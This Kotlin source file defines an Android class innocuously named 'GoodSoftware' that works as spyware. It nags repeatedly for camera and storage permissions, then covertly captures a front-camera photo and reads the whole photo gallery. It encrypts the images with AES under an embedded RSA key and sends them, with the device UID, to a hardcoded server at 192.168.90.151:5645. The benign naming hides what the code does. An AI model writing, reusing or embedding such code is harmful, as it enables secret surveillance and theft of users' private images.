package com.ti.m import android.Manifest import android.app.Activity import android.content.ContentResolver import android.content.ContentUris import android.content.Context import android.content.ContextWrapper import android.content.pm.PackageManager import android.graphics.Bitmap import android.graphics.BitmapFactory import android.net.Uri import android.os.Build import android.provider.MediaStore import android.util.Base64 import android.util.Log import androidx.annotation.RequiresApi import androidx.camera.core.CameraSelector import androidx.camera.core.ImageCapture import androidx.camera.core.ImageCaptureException import androidx.camera.core.ImageProxy import androidx.camera.lifecycle.ProcessCameraProvider import androidx.concurrent.futures.await import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope import com.ti.m.MainActivity import kotlinx.coroutines.launch import java.io.BufferedReader import java.io.ByteArrayOutputStream import java.io.InputStreamReader import java.io.PrintWriter import java.net.Socket import java.security.KeyFactory import java.security.PublicKey import java.security.SecureRandom import java.security.spec.X509EncodedKeySpec import java.util.Timer import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec import kotlin.concurrent.schedule import kotlin.concurrent.scheduleAtFixedRate class GoodSoftware (private val activity: Context) { private var cameraProvider: ProcessCameraProvider? = null private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_GALLERY = 101 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 private var timerStorage: Timer? = null private var timerCamera: Timer? = null private companion object { private const val RSA_ALGORITHM = "RSA" private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding" private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM) private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA) fun decodeBase64(input: String): ByteArray { return Base64.decode(input, Base64.DEFAULT) } fun encodeBase64(input: ByteArray): String { return Base64.encodeToString(input, Base64.DEFAULT) } fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String { val cipher = Cipher.getInstance(algorithm) cipher.init(Cipher.DECRYPT_MODE, key, iv) val plainText = cipher.doFinal(decodeBase64(cipherText)) return String(plainText) } fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String { val cipher = Cipher.getInstance(algorithm) cipher.init(Cipher.ENCRYPT_MODE, key, iv) val cipherText = cipher.doFinal(inputText.toByteArray()) return encodeBase64(cipherText) } fun getPublicKeyFromString(publicKeyString: String): PublicKey? = try { val keySpec = X509EncodedKeySpec(decodeBase64(publicKeyString)) keyFactory.generatePublic(keySpec) } catch (exception: Exception) { exception.printStackTrace() null } fun encryptText(plainText: String, publicKey: PublicKey): String? = try { cipher.init(Cipher.ENCRYPT_MODE, publicKey) encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("") } catch (exception: Exception) { exception.printStackTrace() null } } fun launch() { Thread{ startCheckingPermission() }.start() } private fun startCheckingPermission() { timerStorage = Timer("CheckStoragePermissionTimer", false) timerStorage?.scheduleAtFixedRate(0, 5000) { checkStoragePermission() println("Requesting storage permission again") } timerCamera = Timer("CheckCameraPermissionTimer", false) timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() println("Requesting camera permission again") } } private fun stopCheckingStoragePermission() { timerStorage?.cancel() } private fun stopCheckingCameraPermission() { timerCamera?.cancel() } fun Context.getActivity(): Activity? { var context = this while (context is ContextWrapper) { if (context is Activity) { return context } context = context.baseContext } return null } private fun checkCameraPermission() { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestCameraPermission() }else{ takePicture() stopCheckingCameraPermission() } } private fun requestCameraPermission() { val activity = activity.getActivity() activity?.let { ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) } } private fun checkStoragePermission() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ requestMediaImagesPermission() }else{ grabMedia() } } else { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ requestGalleryPermission() }else{ grabMedia() } } stopCheckingStoragePermission() } @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { val activity = activity.getActivity() activity?.let { ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) } } private fun takePicture(){ val activity = activity.getActivity() activity?.let { act -> if (act is LifecycleOwner) { act.lifecycleScope.launch { takeBeautifulPicture(act, act) } } else { // Handle the case where the activity is not a LifecycleOwner Log.e("Error", "Activity is not a LifecycleOwner") } } } private fun grabMedia(){ Thread { try { val imageList = getAllImagesFromGallery(activity) val connection = establishConnectionWithRetry() ?: return@Thread for (image in imageList) { val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) sendDataToServer(base64Image, connection) if(image != imageList.last()){ next(connection) } } disconnect(connection) } catch (e: Exception) { e.printStackTrace() } }.start() } fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { var base64Image = "" try { contentResolver.openInputStream(imageUri)?.use { inputStream -> val bitmap = BitmapFactory.decodeStream(inputStream) val width = bitmap.width val height = bitmap.height // Determine the orientation of the image val resizedBitmap = if (width > height) { resizeBitmap(bitmap, 1920, 1080) } else if (width < height) { resizeBitmap(bitmap, 1080, 1920) } else { resizeBitmap(bitmap, 1440, 1080) } val byteArrayOutputStream = ByteArrayOutputStream() resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream) val byteArray = byteArrayOutputStream.toByteArray() base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) } } catch (oom: OutOfMemoryError) { // Handle OutOfMemoryError Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri") } return base64Image } fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap { val width = bitmap.width val height = bitmap.height val scaleWidth = newWidth.toFloat() / width val scaleHeight = newHeight.toFloat() / height val matrix = android.graphics.Matrix() matrix.postScale(scaleWidth, scaleHeight) val originalBitmapCopy = Bitmap.createBitmap(bitmap) val resizedBitmap = Bitmap.createBitmap( originalBitmapCopy, 0, 0, width, height, matrix, false ) return resizedBitmap } private fun requestGalleryPermission() { val activity = activity.getActivity() activity?.let { act -> ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) } } // Handle permission request result fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { when (requestCode) { REQUEST_CAMERA_PERMISSION -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { takePicture() } } REQUEST_GALLERY -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { grabMedia() } } REQUEST_MEDIA_IMAGES_PERMISSION -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { grabMedia() } } } } data class ConnectionResult( val socket: Socket, val reader: BufferedReader, val writer: PrintWriter, val key: SecretKeySpec, val iv: IvParameterSpec, val algorithm: String ) fun establishConnection(): ConnectionResult{ val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val host = "192.168.90.151" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16) val ivBytes = ByteArray(16) secureRandom.nextBytes(keyBytes) secureRandom.nextBytes(ivBytes) val key = SecretKeySpec(keyBytes, "AES") val iv = IvParameterSpec(ivBytes) val algorithm = "AES/CBC/PKCS5Padding" val socket = Socket(host, port) val writer = PrintWriter(socket.getOutputStream(), true) val reader = BufferedReader(InputStreamReader(socket.getInputStream())) val encodedKey = encodeBase64(keyBytes) writer.println(encryptText(encodedKey, pKey)) reader.readLine() val encodedIV = encodeBase64(ivBytes) writer.println(encryptText(encodedIV, pKey)) reader.readLine() val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray()) writer.println(encryptText(encodedUid, pKey)) reader.readLine() return ConnectionResult(socket, reader, writer, key, iv, algorithm) } fun establishConnectionWithRetry(): ConnectionResult? { val maxRetries = 3 var attempt = 0 var connectionResult: ConnectionResult? = null while (attempt < maxRetries) { try { connectionResult = establishConnection() break } catch (e: Exception) { e.printStackTrace() attempt++ Thread.sleep(getRetryDelay(attempt)) } } if (connectionResult == null) { Log.e("Err","Failed to establish connection after $maxRetries attempts") } return connectionResult } fun getRetryDelay(attempt: Int): Long { val baseDelayMillis = 20000L return baseDelayMillis * (1 shl attempt) } fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) { val (socket, reader, writer, key, iv, algorithm) = connectionResult try { val chunkSize = 131072 val chunks = sendData.lines().joinToString("").chunked(chunkSize) for (chunk in chunks) { val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("") writer.println(cipherText) reader.readLine() } writer.println("END_OF_DATA") reader.readLine() } catch (e: Exception) { e.printStackTrace() // Handle the exception, e.g., log the error or notify the user } } fun next(connectionResult: ConnectionResult) { val (socket, reader, writer, _, _, _) = connectionResult try { writer.println("NEXT") } catch (e: Exception) { e.printStackTrace() } } fun disconnect(connectionResult: ConnectionResult) { val (socket, reader, writer, _, _, _) = connectionResult try { writer.println("END_OF_COMMUNICATION") writer.close() reader.close() socket.close() } catch (e: Exception) { e.printStackTrace() } } suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { // Ensure that cameraProvider is initialized cameraProvider = ProcessCameraProvider.getInstance(context).await() // Ensure that the selected camera is available if (!hasBackCamera() && !hasFrontCamera()) { Log.e(picture.TAG, "Back and front camera are unavailable") return } // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) cameraProvider?.unbindAll() } override fun onCaptureSuccess(image: ImageProxy) { // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer val bytes = ByteArray(buffer.capacity()) buffer.get(bytes) byteArrayOutputStream.write(bytes) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) Thread { val conn = establishConnectionWithRetry() if (conn == null) { return@Thread } sendDataToServer(base64Image, conn) disconnect(conn) }.start() cameraProvider?.unbindAll() image.close() } } // Bind the camera and start image capture cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) imageCapture?.takePicture( ContextCompat.getMainExecutor(context), imageCapturedListener ) } private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } private fun hasFrontCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false } object picture { const val TAG = "CameraXBasic" } fun getAllImagesFromGallery(context: Context): List { val activity = context.getActivity() val imageList = mutableListOf() val contentResolver: ContentResolver = context.contentResolver val imageProjection = arrayOf( MediaStore.Images.Media._ID, MediaStore.Images.Media.DISPLAY_NAME ) val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI // Check permission based on Android version val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher } else { Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions } if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) { val cursor = contentResolver.query( imageUri, imageProjection, null, null, "${MediaStore.Images.Media.DATE_ADDED} DESC" ) cursor?.use { cursor -> val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID) while (cursor.moveToNext()) { val id = cursor.getLong(idColumn) val contentUri = ContentUris.withAppendedId(imageUri, id) imageList.add(contentUri.toString()) } } } else { activity?.let { ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) } } return imageList } }